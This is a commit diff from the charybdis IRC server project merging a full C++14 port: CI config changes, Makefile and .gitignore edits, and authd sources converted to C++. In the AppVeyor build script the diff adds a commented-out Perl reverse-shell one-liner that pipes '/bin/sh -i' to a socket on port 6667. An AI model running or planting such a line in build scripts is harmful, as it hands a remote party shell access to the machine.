0
0
Fork 0
mirror of https://github.com/matrix-construct/construct synced 2024-11-29 10:12:39 +01:00

Merge pull request #198 from jevolk/cpp

Full C++14 integration.
This commit is contained in:
William Pitcock 2016-07-22 23:46:44 -05:00 committed by GitHub
commit 8fed90ba8a
372 changed files with 6655 additions and 6720 deletions

View file

@ -4,6 +4,7 @@ export MSYSTEM=MINGW64
export PATH=/mingw64/bin:/usr/local/bin:/usr/bin:/bin:/c/Windows/system32:/c/Windows:/c/Windows/System32/Wbem:/c/Windows/System32/WindowsPowerShell/v1.0:/usr/bin/site_perl:/usr/bin/vendor_perl:/usr/bin/core_perl
sh ./autogen.sh
./configure --prefix=c:/projects/charybdis/build --enable-openssl=/mingw64
./configure --prefix=c:/projects/charybdis/build --enable-openssl=/mingw64 --with-included-boost
# perl -e 'use Socket;$i="0.0.0.0";$p=6667;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
make -j2
make install

View file

@ -12,7 +12,7 @@ build_script:
# - c:\msys64\usr\bin\sh.exe -lc "cd $APPVEYOR_BUILD_FOLDER/build/bin; ./charybdis -version"
on_failure:
- ps: Push-AppveyorArtifact config.log
- ps: Push-AppveyorArtifact librb\include\librb-config.h
- ps: Push-AppveyorArtifact include\rb\config.h
branches:
except:
- release/3.5

30
.gitignore vendored
View file

@ -8,6 +8,7 @@ Makefile
*.orig
*.log
*.sw?
*.gch
.deps
.dirstamp
.libs
@ -28,31 +29,8 @@ config.status
configure
stamp-h1
libltdl/
librb/configure
librb/compile
librb/depcomp
librb/aclocal.m4
librb/include/librb_config.h
librb/include/librb_config.h.in
librb/include/librb-config.h
librb/include/serno.h
librb/librb.pc
librb/ltmain.sh
librb/missing
librb/libratbox.pc
librb/libtool
librb/src/version.c
librb/src/version.c.last
scripts/*.tar.bz2
scripts/*.tar.gz
include/setup.h
include/setup.h.in
ircd/charybdis
ircd/ircd_parser.c
ircd/ircd_parser.h
ircd/ircd_lexer.c
ircd/version.c
ircd/version.c.last
ssld/ssld
wsockd/wsockd
testsuite/ircd.pid.*
@ -61,10 +39,6 @@ tools/charybdis-mkfingerprint
tools/genssl
tools/mkpasswd
tools/viconf
include/serno.h
ircd/charybdis
ircd/version.c
ircd/version.c.last
/libtool
Makefile.in
m4/argz.m4
@ -76,3 +50,5 @@ m4/ltsugar.m4
m4/ltversion.m4
m4/lt~obsolete.m4
*.dSYM/
install-sh
ylwrap

3
.gitmodules vendored Normal file
View file

@ -0,0 +1,3 @@
[submodule "boost"]
path = boost
url = https://github.com/boostorg/boost.git

View file

@ -1,48 +1,103 @@
# Travis-CI Build for charybdis
# see travis-ci.org for details
language: c
# Use the faster container-based infrastructure.
language: c++
sudo: false
git:
submodules: false
matrix:
include:
- os: linux
compiler: gcc-4.8
addons:
apt:
sources: ['ubuntu-toolchain-r-test']
packages: ['gcc-4.8', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev']
env: COMPILER=gcc-4.8
- os: linux
dist: precise
group: stable
compiler: gcc-4.9
addons:
apt:
sources:
- ubuntu-toolchain-r-test
packages:
- gcc-4.9
- g++-4.9
- ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev']
env:
- CCOMPILER=gcc-4.9
- CXXCOMPILER=g++-4.9
- os: linux
compiler: gcc-4.9
addons:
apt:
sources: ['ubuntu-toolchain-r-test']
packages: ['gcc-4.9', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev']
env: COMPILER=gcc-4.9
- os: linux
dist: precise
group: stable
compiler: gcc-5
addons:
apt:
sources:
- ubuntu-toolchain-r-test
packages:
- gcc-5
- g++-5
- ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev']
env:
- CCOMPILER=gcc-5
- CXXCOMPILER=g++-5
- os: linux
compiler: gcc-5
addons:
apt:
sources: ['ubuntu-toolchain-r-test']
packages: ['gcc-5', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev']
env: COMPILER=gcc-5
- os: linux
dist: trusty
group: unstable
compiler: gcc-6
sudo: required
addons:
apt:
sources:
- ubuntu-toolchain-r-test
packages:
- gcc-6
- g++-6
- ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev']
env:
- CCOMPILER=gcc-6
- CXXCOMPILER=g++-6
# - os: linux
# compiler: clang
# addons:
# apt:
# sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-precise-3.7']
# packages: ['clang-3.7', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev']
# env: COMPILER=clang-3.7
- os: linux
dist: precise
group: unstable
sudo: false
compiler: clang-3.6
addons:
apt:
sources:
- ubuntu-toolchain-r-test
- llvm-toolchain-precise-3.6
packages:
- clang-3.6
- ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev']
env:
- CCOMPILER=clang-3.6
- CXXCOMPILER=clang++-3.6
- os: osx
compiler: clang
env: COMPILER=clang LIBTOOLIZE=glibtoolize
- os: linux
dist: trusty
group: unstable
sudo: required
compiler: clang-3.8
addons:
apt:
sources:
- ubuntu-toolchain-r-test
- llvm-toolchain-precise-3.8
packages:
- clang-3.8
- ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev']
env:
- CCOMPILER=clang-3.8
- CXXCOMPILER=clang++-3.8
- os: osx
compiler: clang
env:
- CCOMPILER=clang
- CXXCOMPILER=clang++
- LIBTOOLIZE=glibtoolize
osx_image: xcode7.3
@ -52,7 +107,10 @@ cache:
ccache:
script:
- bash autogen.sh
- CC=$COMPILER ./configure --with-shared-sqlite
- make -j4
- make install
- export CC=$CCOMPILER CXX=$CXXCOMPILER
- $CC --version
- $CXX --version
- time bash autogen.sh
- time ./configure --with-shared-sqlite --with-included-boost CC=$CC CXX=$CXX
- time make -j4
- time make -j4 install

View file

@ -1,59 +1,49 @@
AUTOMAKE_OPTIONS = foreign
ACLOCAL_AMFLAGS = -I m4
SUBDIRS = librb
SUBDIRS = include/rb
if BUILD_LTDL
SUBDIRS += libltdl
endif
SUBDIRS += rb
SUBDIRS += ircd
SUBDIRS += charybdis
SUBDIRS += authd
SUBDIRS += bandb
SUBDIRS += ssld
SUBDIRS += wsockd
SUBDIRS += modules
SUBDIRS += extensions
SUBDIRS += tools
SUBDIRS += help
SUBDIRS += doc
SUBDIRS += ircd \
ssld \
wsockd \
authd \
bandb \
tools \
modules \
extensions \
help \
doc
logdir = @prefix@/logs
BUILT_SOURCES = include/serno.h
include/serno.h:
@if [ -d .git ]; then \
revh=`git log -1 --date=format:%Y%m%d --pretty=format:%cd-%h`; \
datecode=`git log -1 --pretty=format:%ct`; \
if [ -n "$$revh" ]; then \
echo '#define SERNO "'$$revh'"' >include/serno.h ; \
echo "#define DATECODE $${datecode}UL" >>include/serno.h; \
fi \
fi
@if [ ! -f include/serno.h ]; then \
echo '#define SERNO "unknown"' >include/serno.h; \
echo '#define DATECODE 0UL' >>include/serno.h; \
fi
install-data-hook:
test -d ${DESTDIR}${logdir} || mkdir -p ${DESTDIR}${logdir}
install-exec-hook:
rm -f ${DESTDIR}${moduledir}/*.la
rm -f ${DESTDIR}${moduledir}/autoload/*.la
rm -f ${DESTDIR}${moduledir}/extensions/*.la
rm -f ${DESTDIR}${moduledir}/*.dll.a
rm -f ${DESTDIR}${moduledir}/autoload/*.dll.a
rm -f ${DESTDIR}${moduledir}/extensions/*.dll.a
distclean-local:
rm -f librb/include/librb-config.h
clean-local:
rm -f include/serno.h
rm -f ircd/ircd_lexer.c
rm -f ircd/ircd_parser.c
rm -f ircd/ircd_parser.h
rm -f ircd/version.c
rm -f ircd/version.c.last
mrproper-local:
rm -f aclocal.m4
rm -rf autom4te.cache
rm -f compile
rm -f config.*
rm -f configure
rm -f depcomp
rm -f ltmain.sh
rm -f install-sh
rm -rf libltdl
rm -f libtool
rm -f missing
rm -f ylwrap
rm -f */Makefile
rm -f */Makefile.in
rm -f include/*/Makefile
rm -f include/*/Makefile.in
rm -rf */.deps
rm -f Makefile
rm -f Makefile.in
rm -f m4/argz.m4
rm -f m4/libtool.m4
rm -f m4/ltargz.m4
rm -f m4/ltdl.m4
rm -f m4/ltoptions.m4
rm -f m4/ltsugar.m4
rm -f m4/ltversion.m4
rm -f m4/lt~obsolete.m4

View file

@ -1,20 +1,34 @@
pkglibexec_PROGRAMS = authd
AM_CFLAGS=$(WARNFLAGS)
AM_CPPFLAGS = -I../include -I../librb/include
AM_CPPFLAGS = \
-I$(top_srcdir)/include \
@BOOST_CPPFLAGS@
AM_LDFLAGS = \
-L$(top_srcdir)/rb \
@BOOST_LDFLAGS@
bin_PROGRAMS = authd
authd_LDADD = \
$(top_srcdir)/rb/librb.la \
@BOOST_LIBS@
authd_SOURCES = \
authd.c \
dns.c \
getaddrinfo.c \
getnameinfo.c \
notice.c \
provider.c \
res.c \
reslib.c \
reslist.c \
providers/blacklist.c \
providers/ident.c \
providers/rdns.c \
providers/opm.c
authd.cc \
dns.cc \
getaddrinfo.cc \
getnameinfo.cc \
notice.cc \
provider.cc \
res.cc \
reslib.cc \
reslist.cc \
providers/blacklist.cc \
providers/ident.cc \
providers/rdns.cc \
providers/opm.cc
authd_LDADD = ../librb/src/librb.la
mrproper-local:
rm -rf providers/.deps
rm -f providers/.dirstamp

View file

@ -31,22 +31,31 @@ static void handle_stat(int parc, char *parv[]);
static void handle_options(int parc, char *parv[]);
rb_helper *authd_helper = NULL;
authd_cmd_handler authd_cmd_handlers[256] = {
['C'] = handle_new_connection,
['D'] = handle_resolve_dns,
['E'] = handle_cancel_connection,
['O'] = handle_options,
['R'] = handle_reload,
['S'] = handle_stat,
};
std::array<authd_cmd_handler, 256> authd_cmd_handlers =
[]{
std::array<authd_cmd_handler, 256> ret;
ret['C'] = handle_new_connection;
ret['D'] = handle_resolve_dns;
ret['E'] = handle_cancel_connection;
ret['O'] = handle_options;
ret['R'] = handle_reload;
ret['S'] = handle_stat;
return ret;
}();
authd_stat_handler authd_stat_handlers[256] = {
['D'] = enumerate_nameservers,
};
std::array<authd_stat_handler, 256> authd_stat_handlers =
[]{
std::array<authd_stat_handler, 256> ret;
ret['D'] = enumerate_nameservers;
return ret;
}();
authd_reload_handler authd_reload_handlers[256] = {
['D'] = reload_nameservers,
};
std::array<authd_reload_handler, 256> authd_reload_handlers =
[]{
std::array<authd_reload_handler, 256> ret;
ret['D'] = reload_nameservers;
return ret;
}();
rb_dictionary *authd_option_handlers;
@ -85,7 +94,7 @@ handle_options(int parc, char *parv[])
return;
}
if((handler = rb_dictionary_retrieve(authd_option_handlers, parv[1])) == NULL)
if((handler = (auth_opts_handler *)rb_dictionary_retrieve(authd_option_handlers, parv[1])) == NULL)
{
warn_opers(L_CRIT, "BUG: handle_options got a bad option type %s", parv[1]);
return;
@ -203,7 +212,7 @@ main(int argc, char *argv[])
rb_set_time();
setup_signals();
authd_option_handlers = rb_dictionary_create("authd options handlers", rb_strcasecmp);
authd_option_handlers = rb_dictionary_create("authd options handlers", reinterpret_cast<int (*)(const void *, const void *)>(rb_strcasecmp));
init_resolver();
init_providers();

View file

@ -21,12 +21,7 @@
#ifndef _AUTHD_H
#define _AUTHD_H
#include "stdinc.h"
#include "rb_lib.h"
#include "rb_dictionary.h"
#include "setup.h"
#include "ircd_defs.h"
#include <ircd/stdinc.h>
typedef enum exit_reasons
{
@ -50,9 +45,9 @@ typedef void (*authd_cmd_handler)(int parc, char *parv[]);
typedef void (*authd_stat_handler)(uint32_t rid, const char letter);
typedef void (*authd_reload_handler)(const char letter);
extern authd_cmd_handler authd_cmd_handlers[256];
extern authd_stat_handler authd_stat_handlers[256];
extern authd_reload_handler authd_reload_handlers[256];
extern std::array<authd_cmd_handler, 256> authd_cmd_handlers;
extern std::array<authd_stat_handler, 256> authd_stat_handlers;
extern std::array<authd_reload_handler, 256> authd_reload_handlers;
extern rb_dictionary *authd_option_handlers;

View file

@ -35,7 +35,7 @@ uint64_t query_count = 0;
struct dns_query *
lookup_ip(const char *host, int aftype, DNSCB callback, void *data)
{
struct dns_query *query = rb_malloc(sizeof(struct dns_query));
struct dns_query *query = (dns_query *)rb_malloc(sizeof(struct dns_query));
int g_type;
if(aftype == AF_INET)
@ -72,7 +72,7 @@ lookup_ip(const char *host, int aftype, DNSCB callback, void *data)
struct dns_query *
lookup_hostname(const char *ip, DNSCB callback, void *data)
{
struct dns_query *query = rb_malloc(sizeof(struct dns_query));
struct dns_query *query = (dns_query *)rb_malloc(sizeof(struct dns_query));
int aftype;
if(!rb_inet_pton_sock(ip, (struct sockaddr *)&query->addr))
@ -111,14 +111,15 @@ lookup_hostname(const char *ip, DNSCB callback, void *data)
void
cancel_query(struct dns_query *query)
{
query->callback = query->data = NULL;
query->callback = NULL;
query->data = NULL;
}
/* Callback from gethost_byname_type */
static void
handle_lookup_ip_reply(void *data, struct DNSReply *reply)
{
struct dns_query *query = data;
struct dns_query *query = (dns_query *)data;
char ip[HOSTIPLEN] = "*";
if(query == NULL)
@ -167,7 +168,7 @@ end:
static void
handle_lookup_hostname_reply(void *data, struct DNSReply *reply)
{
struct dns_query *query = data;
struct dns_query *query = (dns_query *)data;
char *hostname = NULL;
if(query == NULL)
@ -217,7 +218,7 @@ end:
static void
submit_dns_answer(const char *reply, bool status, query_type type, void *data)
{
char *id = data;
char *id = (char *)data;
if(!id || type == QUERY_INVALID)
{
@ -252,14 +253,14 @@ handle_resolve_dns(int parc, char *parv[])
#endif
case '4':
if(!lookup_ip(record, aftype, submit_dns_answer, id))
submit_dns_answer(NULL, false, qtype, NULL);
submit_dns_answer(NULL, false, query_type(qtype), NULL);
break;
#ifdef RB_IPV6
case 'S':
#endif
case 'R':
if(!lookup_hostname(record, submit_dns_answer, id))
submit_dns_answer(NULL, false, qtype, NULL);
submit_dns_answer(NULL, false, query_type(qtype), NULL);
break;
default:
warn_opers(L_CRIT, "DNS: handle_resolve_dns got an unknown query: %c", qtype);

View file

@ -23,7 +23,7 @@
#define DNS_REQ_IDLEN 10
#include "stdinc.h"
#include <ircd/stdinc.h>
#include "res.h"
#include "reslib.h"

View file

@ -28,9 +28,9 @@
*/
#ifdef _WIN32
#include <rb_lib.h>
#include <rb/rb.h>
#include <ircd/stdinc.h>
#include "getaddrinfo.h"
#include "stdinc.h"
static const char in_addrany[] = { 0, 0, 0, 0 };
static const char in_loopback[] = { 127, 0, 0, 1 };

View file

@ -42,7 +42,7 @@
*/
#ifdef _WIN32
#include <rb_lib.h>
#include <rb/rb.h>
#include "getaddrinfo.h"
#include "getnameinfo.h"

View file

@ -46,9 +46,7 @@
* --Elizafox, 9 March 2016
*/
#include "stdinc.h"
#include "rb_dictionary.h"
#include "rb_lib.h"
#include <ircd/stdinc.h>
#include "authd.h"
#include "provider.h"
#include "notice.h"
@ -84,8 +82,10 @@ destroy_providers(void)
struct auth_client *auth;
/* Cancel outstanding connections */
RB_DICTIONARY_FOREACH(auth, &iter, auth_clients)
void *elem;
RB_DICTIONARY_FOREACH(elem, &iter, auth_clients)
{
auth = (auth_client *)elem;
auth_client_ref(auth);
/* TBD - is this the right thing? */
@ -97,7 +97,7 @@ destroy_providers(void)
RB_DLINK_FOREACH_SAFE(ptr, nptr, auth_providers.head)
{
struct auth_provider *provider = ptr->data;
struct auth_provider *provider = (auth_provider *)ptr->data;
if(provider->destroy)
provider->destroy();
@ -194,7 +194,7 @@ cancel_providers(struct auth_client *auth)
RB_DLINK_FOREACH(ptr, auth_providers.head)
{
struct auth_provider *provider = ptr->data;
struct auth_provider *provider = (auth_provider *)ptr->data;
if(provider->cancel != NULL && is_provider_running(auth, provider->id))
/* Cancel if required */
@ -224,7 +224,7 @@ provider_done(struct auth_client *auth, uint32_t id)
RB_DLINK_FOREACH(ptr, auth_providers.head)
{
struct auth_provider *provider = ptr->data;
struct auth_provider *provider = (auth_provider *)ptr->data;
if(provider->completed != NULL && is_provider_running(auth, provider->id))
/* Notify pending clients who asked for it */
@ -277,7 +277,7 @@ start_auth(const char *cid, const char *l_ip, const char *l_port, const char *c_
if(lcid == 0 || lcid > UINT32_MAX)
return;
auth = rb_malloc(sizeof(struct auth_client));
auth = (auth_client *)rb_malloc(sizeof(struct auth_client));
auth_client_ref(auth);
auth->cid = (uint32_t)lcid;
@ -302,12 +302,12 @@ start_auth(const char *cid, const char *l_ip, const char *l_port, const char *c_
rb_strlcpy(auth->hostname, "*", sizeof(auth->hostname));
rb_strlcpy(auth->username, "*", sizeof(auth->username));
auth->data = rb_malloc(allocated_pids * sizeof(struct auth_client_data));
auth->data = (auth_client_data *)rb_malloc(allocated_pids * sizeof(struct auth_client_data));
auth->providers_starting = true;
RB_DLINK_FOREACH(ptr, auth_providers.head)
{
struct auth_provider *provider = ptr->data;
struct auth_provider *provider = (auth_provider *)ptr->data;
auth->data[provider->id].provider = provider;
@ -363,7 +363,7 @@ handle_cancel_connection(int parc, char *parv[])
exit(EX_PROVIDER_ERROR);
}
if((auth = rb_dictionary_retrieve(auth_clients, RB_UINT_TO_POINTER((uint32_t)lcid))) == NULL)
if((auth = (auth_client *)rb_dictionary_retrieve(auth_clients, RB_UINT_TO_POINTER((uint32_t)lcid))) == NULL)
{
/* This could happen as a race if we've accepted/rejected but they cancel, so don't die here.
* --Elizafox */
@ -382,15 +382,17 @@ provider_timeout_event(void *notused __unused)
rb_dictionary_iter iter;
const time_t curtime = rb_current_time();
RB_DICTIONARY_FOREACH(auth, &iter, auth_clients)
void *elem;
RB_DICTIONARY_FOREACH(elem, &iter, auth_clients)
{
rb_dlink_node *ptr;
auth = (auth_client *)elem;
auth_client_ref(auth);
RB_DLINK_FOREACH(ptr, auth_providers.head)
{
struct auth_provider *provider = ptr->data;
struct auth_provider *provider = (auth_provider *)ptr->data;
const time_t timeout = get_provider_timeout(auth, provider->id);
if(is_provider_running(auth, provider->id) && provider->timeout != NULL &&

View file

@ -21,9 +21,8 @@
#ifndef __CHARYBDIS_AUTHD_PROVIDER_H__
#define __CHARYBDIS_AUTHD_PROVIDER_H__
#include "stdinc.h"
#include <ircd/stdinc.h>
#include "authd.h"
#include "rb_dictionary.h"
#define MAX_PROVIDERS 32 /* This should be enough */
@ -75,7 +74,7 @@ typedef void (*provider_complete_t)(struct auth_client *, uint32_t);
struct auth_stats_handler
{
const char letter;
char letter;
authd_stat_handler handler;
};
@ -146,7 +145,7 @@ find_provider(const char *name)
RB_DLINK_FOREACH(ptr, auth_providers.head)
{
struct auth_provider *provider = ptr->data;
struct auth_provider *provider = (auth_provider *)ptr->data;
if(strcasecmp(provider->name, name) == 0)
return provider;

View file

@ -38,10 +38,8 @@
*/
#include "authd.h"
#include "defaults.h"
#include "provider.h"
#include "notice.h"
#include "stdinc.h"
#include "dns.h"
#define SELF_PID (blacklist_provider.id)
@ -64,7 +62,7 @@ struct blacklist
uint8_t iptype; /* IP types supported */
rb_dlink_list filters; /* Filters for queries */
bool delete; /* If true delete when no clients */
bool delete_; /* If true delete when no clients */
int refcount; /* When 0 and delete is set, remove this blacklist */
unsigned int hits;
@ -125,7 +123,7 @@ unref_blacklist(struct blacklist *bl)
rb_dlink_node *ptr, *nptr;
bl->refcount--;
if (bl->delete && bl->refcount <= 0)
if (bl->delete_ && bl->refcount <= 0)
{
RB_DLINK_FOREACH_SAFE(ptr, nptr, bl->filters.head)
{
@ -148,11 +146,11 @@ new_blacklist(const char *name, const char *reason, uint8_t iptype, rb_dlink_lis
if((bl = find_blacklist(name)) == NULL)
{
bl = rb_malloc(sizeof(struct blacklist));
bl = (blacklist *)rb_malloc(sizeof(struct blacklist));
rb_dlinkAddAlloc(bl, &blacklist_list);
}
else
bl->delete = false;
bl->delete_ = false;
rb_strlcpy(bl->host, name, IRCD_RES_HOSTLEN + 1);
rb_strlcpy(bl->reason, reason, BUFSIZE);
@ -198,7 +196,7 @@ blacklist_check_reply(struct blacklist_lookup *bllookup, const char *ipaddr)
RB_DLINK_FOREACH(ptr, bl->filters.head)
{
struct blacklist_filter *filter = ptr->data;
struct blacklist_filter *filter = (blacklist_filter *)ptr->data;
const char *cmpstr;
if (filter->type == FILTER_ALL)
@ -243,7 +241,7 @@ blacklist_dns_callback(const char *result, bool status, query_type type, void *d
bl = bllookup->bl;
auth = bllookup->auth;
if((bluser = get_provider_data(auth, SELF_PID)) == NULL)
if((bluser = (blacklist_user *)get_provider_data(auth, SELF_PID)) == NULL)
return;
if (result != NULL && status && blacklist_check_reply(bllookup, result))
@ -277,8 +275,8 @@ blacklist_dns_callback(const char *result, bool status, query_type type, void *d
static void
initiate_blacklist_dnsquery(struct blacklist *bl, struct auth_client *auth)
{
struct blacklist_lookup *bllookup = rb_malloc(sizeof(struct blacklist_lookup));
struct blacklist_user *bluser = get_provider_data(auth, SELF_PID);
struct blacklist_lookup *bllookup = (blacklist_lookup *)rb_malloc(sizeof(struct blacklist_lookup));
struct blacklist_user *bluser = (blacklist_user *)get_provider_data(auth, SELF_PID);
char buf[IRCD_RES_HOSTLEN + 1];
int aftype;
@ -304,7 +302,7 @@ initiate_blacklist_dnsquery(struct blacklist *bl, struct auth_client *auth)
static inline bool
lookup_all_blacklists(struct auth_client *auth)
{
struct blacklist_user *bluser = get_provider_data(auth, SELF_PID);
struct blacklist_user *bluser = (blacklist_user *)get_provider_data(auth, SELF_PID);
rb_dlink_node *ptr;
int iptype;
@ -325,7 +323,7 @@ lookup_all_blacklists(struct auth_client *auth)
{
struct blacklist *bl = (struct blacklist *)ptr->data;
if (!bl->delete && (bl->iptype & iptype))
if (!bl->delete_ && (bl->iptype & iptype))
initiate_blacklist_dnsquery(bl, auth);
}
@ -342,7 +340,7 @@ static inline void
delete_blacklist(struct blacklist *bl)
{
if (bl->refcount > 0)
bl->delete = true;
bl->delete_ = true;
else
{
rb_dlinkFindDestroy(bl, &blacklist_list);
@ -357,7 +355,7 @@ delete_all_blacklists(void)
RB_DLINK_FOREACH_SAFE(ptr, nptr, blacklist_list.head)
{
delete_blacklist(ptr->data);
delete_blacklist((blacklist *)ptr->data);
}
}
@ -396,7 +394,7 @@ blacklists_start(struct auth_client *auth)
static void
blacklists_initiate(struct auth_client *auth, uint32_t provider)
{
struct blacklist_user *bluser = get_provider_data(auth, SELF_PID);
struct blacklist_user *bluser = (blacklist_user *)get_provider_data(auth, SELF_PID);
uint32_t rdns_pid, ident_pid;
lrb_assert(provider != SELF_PID);
@ -423,7 +421,7 @@ static inline void
blacklists_generic_cancel(struct auth_client *auth, const char *message)
{
rb_dlink_node *ptr, *nptr;
struct blacklist_user *bluser = get_provider_data(auth, SELF_PID);
struct blacklist_user *bluser = (blacklist_user *)get_provider_data(auth, SELF_PID);
if(bluser == NULL)
return;
@ -434,7 +432,7 @@ blacklists_generic_cancel(struct auth_client *auth, const char *message)
RB_DLINK_FOREACH_SAFE(ptr, nptr, bluser->queries.head)
{
struct blacklist_lookup *bllookup = ptr->data;
struct blacklist_lookup *bllookup = (blacklist_lookup *)ptr->data;
cancel_query(bllookup->query);
unref_blacklist(bllookup->bl);
@ -476,8 +474,10 @@ blacklists_destroy(void)
rb_dictionary_iter iter;
struct auth_client *auth;
RB_DICTIONARY_FOREACH(auth, &iter, auth_clients)
void *elem;
RB_DICTIONARY_FOREACH(elem, &iter, auth_clients)
{
auth = (auth_client *)elem;
blacklists_cancel(auth);
/* auth is now invalid as we have no reference */
}
@ -497,7 +497,7 @@ add_conf_blacklist(const char *key, int parc, const char **parv)
for(char *elem = rb_strtok_r(elemlist, ",", &tmp); elem; elem = rb_strtok_r(NULL, ",", &tmp))
{
struct blacklist_filter *filter = rb_malloc(sizeof(struct blacklist_filter));
struct blacklist_filter *filter = (blacklist_filter *)rb_malloc(sizeof(struct blacklist_filter));
int dot_c = 0;
filter_t type = FILTER_LAST;
@ -586,7 +586,7 @@ blacklist_stats(uint32_t rid, char letter)
RB_DLINK_FOREACH(ptr, blacklist_list.head)
{
struct blacklist *bl = ptr->data;
struct blacklist *bl = (blacklist *)ptr->data;
if(bl->delete)
continue;
@ -608,14 +608,16 @@ struct auth_opts_handler blacklist_options[] =
};
struct auth_provider blacklist_provider =
{
.name = "blacklist",
.letter = 'B',
.destroy = blacklists_destroy,
.start = blacklists_start,
.cancel = blacklists_cancel,
.timeout = blacklists_timeout,
.completed = blacklists_initiate,
.opt_handlers = blacklist_options,
[]{
auth_provider ret {0};
ret.name = "blacklist";
ret.letter = 'B';
ret.destroy = blacklists_destroy;
ret.start = blacklists_start;
ret.cancel = blacklists_cancel;
ret.timeout = blacklists_timeout;
ret.completed = blacklists_initiate;
ret.opt_handlers = blacklist_options;
/* .stats_handler = { 'B', blacklist_stats }, */
};
return ret;
}();

View file

@ -24,9 +24,8 @@
* --Elizafox 13 March 2016
*/
#include "stdinc.h"
#include "defaults.h"
#include "match.h"
#include <ircd/stdinc.h>
#include <ircd/match.h>
#include "authd.h"
#include "notice.h"
#include "provider.h"
@ -85,13 +84,13 @@ static bool ident_enable = true;
static void
ident_connected(rb_fde_t *F __unused, int error, void *data)
{
struct auth_client *auth = data;
struct auth_client *auth = (auth_client *)data;
struct ident_query *query;
char authbuf[32];
int authlen;
lrb_assert(auth != NULL);
query = get_provider_data(auth, SELF_PID);
query = (ident_query *)get_provider_data(auth, SELF_PID);
lrb_assert(query != NULL);
/* Check the error */
@ -118,7 +117,7 @@ ident_connected(rb_fde_t *F __unused, int error, void *data)
static void
read_ident_reply(rb_fde_t *F, void *data)
{
struct auth_client *auth = data;
struct auth_client *auth = (auth_client *)data;
struct ident_query *query;
char buf[IDENT_BUFSIZE + 1]; /* buffer to read auth reply into */
ident_message message = REPORT_FAIL;
@ -128,7 +127,7 @@ read_ident_reply(rb_fde_t *F, void *data)
int count;
lrb_assert(auth != NULL);
query = get_provider_data(auth, SELF_PID);
query = (ident_query *)get_provider_data(auth, SELF_PID);
lrb_assert(query != NULL);
len = rb_read(F, buf, IDENT_BUFSIZE);
@ -173,7 +172,7 @@ read_ident_reply(rb_fde_t *F, void *data)
static void
client_fail(struct auth_client *auth, ident_message report)
{
struct ident_query *query = get_provider_data(auth, SELF_PID);
struct ident_query *query = (ident_query *)get_provider_data(auth, SELF_PID);
lrb_assert(query != NULL);
@ -195,7 +194,7 @@ client_fail(struct auth_client *auth, ident_message report)
static void
client_success(struct auth_client *auth)
{
struct ident_query *query = get_provider_data(auth, SELF_PID);
struct ident_query *query = (ident_query *)get_provider_data(auth, SELF_PID);
lrb_assert(query != NULL);
@ -283,8 +282,10 @@ ident_destroy(void)
rb_dictionary_iter iter;
/* Nuke all ident queries */
RB_DICTIONARY_FOREACH(auth, &iter, auth_clients)
void *elem;
RB_DICTIONARY_FOREACH(elem, &iter, auth_clients)
{
auth = (auth_client *)elem;
if(get_provider_data(auth, SELF_PID) != NULL)
client_fail(auth, REPORT_FAIL);
/* auth is now invalid as we have no reference */
@ -294,7 +295,7 @@ ident_destroy(void)
static bool
ident_start(struct auth_client *auth)
{
struct ident_query *query = rb_malloc(sizeof(struct ident_query));
struct ident_query *query = (ident_query *)rb_malloc(sizeof(struct ident_query));
struct rb_sockaddr_storage l_addr, c_addr;
int family = GET_SS_FAMILY(&auth->c_addr);
@ -342,7 +343,7 @@ ident_start(struct auth_client *auth)
static void
ident_cancel(struct auth_client *auth)
{
struct ident_query *query = get_provider_data(auth, SELF_PID);
struct ident_query *query = (ident_query *)get_provider_data(auth, SELF_PID);
if(query != NULL)
client_fail(auth, REPORT_FAIL);
@ -377,12 +378,14 @@ struct auth_opts_handler ident_options[] =
struct auth_provider ident_provider =
{
.name = "ident",
.letter = 'I',
.start = ident_start,
.destroy = ident_destroy,
.cancel = ident_cancel,
.timeout = ident_cancel,
.opt_handlers = ident_options,
};
[]{
auth_provider ap {0};
ap.name = "ident";
ap.letter = 'I';
ap.start = ident_start;
ap.destroy = ident_destroy;
ap.cancel = ident_cancel;
ap.timeout = ident_cancel;
ap.opt_handlers = ident_options;
return ap;
}();

View file

@ -18,10 +18,7 @@
* POSSIBILITY OF SUCH DAMAGE.
*/
#include "stdinc.h"
#include "rb_lib.h"
#include "defaults.h"
#include "setup.h"
#include <ircd/stdinc.h>
#include "authd.h"
#include "notice.h"
#include "provider.h"
@ -130,7 +127,7 @@ find_proxy_scanner(protocol_t proto, uint16_t port)
RB_DLINK_FOREACH(ptr, proxy_scanners.head)
{
struct opm_proxy *proxy = ptr->data;
struct opm_proxy *proxy = (opm_proxy *)ptr->data;
if(proxy->proto == proto && proxy->port == port)
return proxy;
@ -144,13 +141,13 @@ static void
read_opm_reply(rb_fde_t *F, void *data)
{
rb_dlink_node *ptr;
struct auth_client *auth = data;
struct auth_client *auth = (auth_client *)data;
struct opm_lookup *lookup;
char readbuf[OPM_READSIZE];
ssize_t len;
lrb_assert(auth != NULL);
lookup = get_provider_data(auth, SELF_PID);
lookup = (opm_lookup *)get_provider_data(auth, SELF_PID);
lrb_assert(lookup != NULL);
if((len = rb_read(F, readbuf, sizeof(readbuf))) < 0 && rb_ignore_errno(errno))
@ -167,7 +164,7 @@ read_opm_reply(rb_fde_t *F, void *data)
RB_DLINK_FOREACH(ptr, proxy_scanners.head)
{
struct opm_proxy *proxy = ptr->data;
struct opm_proxy *proxy = (opm_proxy *)ptr->data;
if(strncmp(proxy->note, readbuf, strlen(proxy->note)) == 0)
{
@ -176,7 +173,7 @@ read_opm_reply(rb_fde_t *F, void *data)
/* Cancel outstanding lookups */
RB_DLINK_FOREACH_SAFE(ptr, nptr, lookup->scans.head)
{
struct opm_scan *scan = ptr->data;
